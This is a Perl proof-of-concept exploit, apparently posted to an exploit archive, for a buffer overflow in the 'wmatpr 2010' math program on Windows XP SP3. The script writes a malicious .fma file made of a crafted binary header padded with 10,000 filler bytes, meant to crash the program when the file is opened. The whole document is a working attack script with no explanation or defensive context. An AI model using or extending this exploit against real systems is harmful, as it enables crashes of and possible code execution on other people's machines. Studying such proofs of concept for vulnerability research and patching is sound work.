###################################################################
#Exploit Title : wmatpr 2010 Buffer Overflow Poc
#tested on windows xp SP 3 FR
#Author: MadjiX
#Special Greets:His0k4 [ where are you :( ]
#Greets:Bibi-info , Silectovic , Volc4n0
#App: http://math.exeter.edu/rparris/peanut/wmpr32z.exe
###################################################################
my $file= "MadjiX.fma";

my $hd = "\xB9\x01\x00\x00\x02\x00\x00\x00\x50\x00\x00\x00\x5D\x00".
"\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00".
"\x41\x00\x00\x00\x1C\x00\x00\x00\xD9\xFF\xFF\xFF\x2C\x01".
"\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x0A\x00\x00\x00\x0F\x00\x00\x00\x2B\xD0".
"\x28\x01\x49\x1E\x29\x01\x00\x00\x00\x00" ;

my $junk = "\x41" x 10000 ;

open($FILE,">$file");
print $FILE $hd.$junk;
close($FILE);